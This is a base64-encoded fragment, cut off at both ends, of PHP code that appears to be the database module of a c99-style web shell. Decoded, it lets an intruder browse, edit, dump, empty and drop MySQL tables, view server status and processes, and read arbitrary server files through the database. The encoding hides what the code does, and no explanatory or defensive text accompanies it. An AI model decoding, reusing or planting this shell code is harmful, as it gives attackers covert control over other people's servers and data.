GI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO31lbHNlIHtmd3JpdGUoJGZwLCRyZXQpO2ZjbG9zZSgkZnApO2VjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7fX1lbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO319fWlmKCRkaXBsYXkpe2lmKCFlbXB0eSgkc3FsX3RibCkpe2lmKGVtcHR5KCRzcWxfdGJsX2FjdCkpeyRzcWxfdGJsX2FjdD0iYnJvd3NlIjt9JGNvdW50PW15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTskY291bnRfcm93PW15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7bXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTskdGJsX3N0cnVjdF9yZXN1bHQ9bXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7JHRibF9zdHJ1Y3RfZmllbGRzPWFycmF5KCk7d2hpbGUoJHJvdz1teXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKXskdGJsX3N0cnVjdF9maWVsZHNbXT0kcm93O31pZihAJHNxbF9scz5AJHNxbF9sZSl7JHNxbF9sZT0kc3FsX2xzKyRwZXJwYWdlO31pZihlbXB0eSgkc3FsX3RibF9wYWdlKSl7JHNxbF90YmxfcGFnZT0wIDt9aWYoZW1wdHkoJHNxbF90YmxfbHMpKXskc3FsX3RibF9scz0wIDt9aWYoZW1wdHkoJHNxbF90YmxfbGUpKXskc3FsX3RibF9sZT0zMCA7fSRwZXJwYWdlPSRzcWxfdGJsX2xlLSRzcWxfdGJsX2xzO2lmKCFpc19udW1lcmljKCRwZXJwYWdlKSl7JHBlcnBhZ2U9MTAgO30kbnVtcGFnZXM9JGNvdW50X3Jvd1swIF0vJHBlcnBhZ2U7JGU9ZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7aWYoY291bnQoJGUpPT0yICl7aWYoJGVbMCBdPT0iZCIpeyRhc2NfZGVzYz0iREVTQyI7fWVsc2UgeyRhc2NfZGVzYz0iQVNDIjt9JHY9Ik9SREVSIEJZIGAiLiRlWzEgXS4iYCAiLiRhc2NfZGVzYy4iICI7fWVsc2UgeyR2PSIiO30kcXVlcnk9IlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjskcmVzdWx0PW15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQgKG15c3FsX3NtYXJ0ZXJyb3IoKSk7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzAgXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiAmbmJzcDsgIjtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9YnJvd3NlXCI+WzxiPiBCcm93c2UgPC9iPl08L2E+ICZuYnNwOyAiO2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfYWN0PXRibGR1bXAmdGhpc3RibD0xXCI+WzxiPiBEdW1wIDwvYj5dPC9hPiAmbmJzcDsgIjtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiAmbmJzcDsgIjtpZigkc3FsX3RibF9hY3Q9PSJzdHJ1Y3R1cmUiKXtlY2hvICI8Yj5VbmRlciBjb25zdHJ1Y3Rpb24hPC9iPiI7fWlmKCRzcWxfdGJsX2FjdD09Imluc2VydCIpe2lmKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKXskc3FsX3RibF9pbnNlcnQ9YXJyYXkoKTt9aWYoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpe2VjaG8gIjxiPlVuZGVyIGNvbnN0cnVjdGlvbiE8L2I+Ijt9ZWxzZSB7ZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iO2lmKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpeyRzcWxfcXVlcnk9IlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOyRzcWxfcXVlcnkuPSIgV0hFUkUiLiRzcWxfdGJsX2luc2VydF9xOyRzcWxfcXVlcnkuPSIgTElNSVQgMTsiOyRyZXN1bHQ9bXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50ICgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7JHZhbHVlcz1teXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTtteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTt9ZWxzZSB7JHZhbHVlcz1hcnJheSgpO31lY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCI+PHRhYmxlIHdpZHRoPVwiMSVcIj48dHI+PHRkPjxiPkZpZWxkPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7Zm9yZWFjaCgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKXskbmFtZT0kZmllbGRbIkZpZWxkIl07aWYoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKXskdj0iIjt9ZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjskaSsrO31lY2hvICI8L3RhYmxlPjxicj4iO2VjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7aWYoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKXtlY2hvICIgY2hlY2tlZCI7fWVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iO2lmKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpe2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7ZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9ZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iO319aWYoJHNxbF90YmxfYWN0PT0iYnJvd3NlIil7JHNxbF90YmxfbHM9YWJzKCRzcWxfdGJsX2xzKTskc3FsX3RibF9sZT1hYnMoJHNxbF90YmxfbGUpO2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjtlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGFsdD1cIlBhZ2VzXCI+ICI7JGI9MCA7Zm9yKCRpPTAgOyRpPCRudW1wYWdlczskaSsrKXtpZigoJGkqJHBlcnBhZ2UhPSRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UhPSRzcWxfdGJsX2xlKSl7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9vcmRlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIiZzcWxfdGJsX2xzPSIuKCRpKiRwZXJwYWdlKS4iJnNxbF90YmxfbGU9Ii4oJGkqJHBlcnBhZ2UrJHBlcnBhZ2UpLiJcIj48dT4iO31lY2hvICRpO2lmKCgkaSokcGVycGFnZSE9JHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSE9JHNxbF90YmxfbGUpKXtlY2hvICI8L3U+PC9hPiI7fWlmKCgkaS8zMCA9PXJvdW5kKCRpLzMwICkpIGFuZCAoJGk+MCApKXtlY2hvICI8YnI+Ijt9ZWxzZSB7ZWNobyAiICI7fX1pZigkaT09MCApe2VjaG8gImVtcHR5Ijt9ZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+IDxiPlRvOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iO2VjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJwb3N0XCI+XG4iO2VjaG8gIjx0YWJsZT48dHI+IjtlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD4iO2ZvcigkaT0wIDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspeyR2PW15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7aWYoJGVbMCBdPT0iYSIpeyRzPSJkIjskbT0iYXNjIjt9ZWxzZSB7JHM9ImEiOyRtPSJkZXNjIjt9ZWNobyAiPHRkPiI7aWYoZW1wdHkoJGVbMCBdKSl7JGVbMCBdPSJhIjt9aWYoQCRlWzEgXSE9JHYpe2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMCBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fWVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgYWx0PVwiIi4kbS4iXCI+PC9hPiI7fWVjaG8gIjwvdGQ+Ijt9ZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjtlY2hvICI8L3RyPiI7d2hpbGUoJHJvdz1teXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LE1ZU1FMX0FTU09DKSl7ZWNobyAiPHRyPiI7JHc9IiI7JGk9MCA7Zm9yZWFjaCgkcm93IGFzICRrPT4kdil7JG5hbWU9bXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTskdy49IiBgIi4kbmFtZS4iYCA9ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7JGkrKzt9aWYoY291bnQoJHJvdyk+MCApeyR3PXN1YnN0cigkdywwICxzdHJsZW4oJHcpLTMgKTt9ZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjskaT0wIDtmb3JlYWNoKCRyb3cgYXMgJGs9PiR2KXskdj1odG1sc3BlY2lhbGNoYXJzKCR2KTtpZigkdj09IiIpeyR2PSI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO31lY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOyRpKys7fWVjaG8gIjx0ZD4iO2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+RGVsZXRlPC9hPiAiO2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPkVkaXQ8L2E+ICI7ZWNobyAiPC90ZD4iO2VjaG8gIjwvdHI+Ijt9bXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7ZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYWx0PVwiIF4gXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjtlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjtlY2hvICI8L3NlbGVjdD4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7fX1lbHNlIHskcmVzdWx0PW15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsJHNxbF9zb2NrKTtpZighJHJlc3VsdCl7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fWVsc2UgeyA/Pg0KCTxmb3JtIG1ldGhvZD0icG9zdCI+DQoJPHRhYmxlPg0KCQk8dHI+PHRoPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYm94dGJsX2FsbCIgdmFsdWU9IjEiPjwvdGg+PHRoPlRhYmxlPC90aD48dGg+Um93czwvdGg+PHRoPkVuZ2luZTwvdGg+PHRoPkNyZWF0ZWQ8L3RoPjx0aD5Nb2RpZmllZDwvdGg+PHRoPlNpemU8L3RoPjx0aD5BY3Rpb248L3RoPjwvdHI+DQo8PyAkaT0wIDskdHNpemU9JHRyb3dzPTAgO3doaWxlKCRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCxNWVNRTF9BU1NPQykpeyR0c2l6ZSs9JHJvd1siRGF0YV9sZW5ndGgiXTskdHJvd3MrPSRyb3dbIlJvd3MiXTskc2l6ZT12aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7ID8+DQoJCTx0cj4NCgkJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImJveHRibFtdIiB2YWx1ZT0iPD8gZWNobyAkcm93WyJOYW1lIl07ID8+Ij48L3RkPg0KCQkJPHRkPjxhIGhyZWY9Ijw/IGVjaG8gJHNxbF9zdXJsOyA/PnNxbF90Ymw9PD8gZWNobyB1cmxlbmNvZGUoJHJvd1siTmFtZSJdKTsgPz4iPjxiPjw/IGVjaG8gJHJvd1siTmFtZSJdOyA/PjwvYj48L2E+PC90ZD4NCgkJCTx0ZD48PyBlY2hvICRyb3dbIlJvd3MiXTsgPz48L3RkPjx0ZD48PyBlY2hvICRyb3dbIkVuZ2luZSJdOyA/PjwvdGQ+PHRkPjw/IGVjaG8gJHJvd1siQ3JlYXRlX3RpbWUiXTsgPz48L3RkPjx0ZD48PyBlY2hvICRyb3dbIlVwZGF0ZV90aW1lIl07ID8+PC90ZD48dGQ+PD8gZWNobyAkc2l6ZTsgPz48L3RkPg0KCQkJPHRkPjxhIGhyZWY9Ijw/IGVjaG8gJHNxbF9zdXJsOyA/PnNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PTw/IGVjaG8gdXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kcm93WyJOYW1lIl0uImAiKTsgPz4iPkVtcHR5PC9hPiZuYnNwOzxhIGhyZWY9Ijw/IGVjaG8gJHNxbF9zdXJsOyA/PnNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PTw/IGVjaG8gdXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpOyA/PiI+RHJvcDwvYT4mbmJzcDs8YSBocmVmPSI8PyBlY2hvICRzcWxfc3VybDsgPz5zcWxfdGJsX2FjdD1pbnNlcnQmc3FsX3RibD08PyBlY2hvICRyb3dbIk5hbWUiXTsgPz4iPkluc2VydDwvYT48L3RkPg0KCQk8L3RyPg0KPD8gJGkrKzt9ZWNobyAiXHRcdDx0cj5cbiIuIlx0XHQ8dGg+KzwvdGg+PHRoPiRpIHRhYmxlKHMpPC90aD48dGg+JHRyb3dzPC90aD48dGg+JHJvd1sxXTwvdGg+PHRoPiRyb3dbMTBdPC90aD48dGg+JHJvd1sxMV08L3RoPjx0aD4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L3RoPjx0aD48L3RoPlxuIjsgPz4NCgkJPC90cj4NCgk8L3RhYmxlPg0KCTxkaXYgYWxpZ249InJpZ2h0Ij4NCgk8c2VsZWN0IG5hbWU9InNxbF9hY3QiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9InRibGRyb3AiPkRyb3A8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0idGJsZW1wdHkiPkVtcHR5PC9vcHRpb24+IjsNCgkJPG9wdGlvbiB2YWx1ZT0idGJsZHVtcCI+RHVtcDwvb3B0aW9uPiI7DQoJCTxvcHRpb24gdmFsdWU9InRibGNoZWNrIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7DQoJCTxvcHRpb24gdmFsdWU9InRibG9wdGltaXplIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7DQoJCTxvcHRpb24gdmFsdWU9InRibHJlcGFpciI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCgkJPG9wdGlvbiB2YWx1ZT0idGJsYW5hbHl6ZSI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7DQoJPC9zZWxlY3Q+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbmZpcm0iPg0KCTwvZGl2Pg0KCTwvZm9ybT4NCjw/IG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpO319fX19ZWxzZSB7JGFjdHM9YXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTtpZihpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpeyA/Pg0KCTx0YWJsZT4NCgkJPHRyPg0KCQk8dGQ+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+DQoJCTxmb3JtIGFjdGlvbj0iPD8gZWNobyAkc3VybDsgPz4iPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXdkYiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD8gZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXdkYiIgc2l6ZT0iMjAiPg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+DQoJCTwvZm9ybT4NCgkJPC90ZD4NCgkJPHRkPjxiPlZpZXcgRmlsZTo8L2I+DQoJCTxmb3JtIGFjdGlvbj0iPD8gZWNobyAkc3VybDsgPz4iPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJnZXRmaWxlIj4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD8gZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4NCgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPg0KCQk8L2Zvcm0+DQoJCTwvdGQ+DQoJCTwvdHI+DQoJPC90YWJsZT4NCjw/IH1pZighZW1wdHkoJHNxbF9hY3QpKXtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7aWYoJHNxbF9hY3Q9PSJuZXdkYiIpe2VjaG8gIjxiPiI7aWYoKG15c3FsX2NyZWF0ZV9kYigkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKXtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO31lbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9fWlmKCRzcWxfYWN0PT0ic2VydmVyc3RhdHVzIil7JHJlc3VsdD1teXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCRzcWxfc29jayk7ZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXI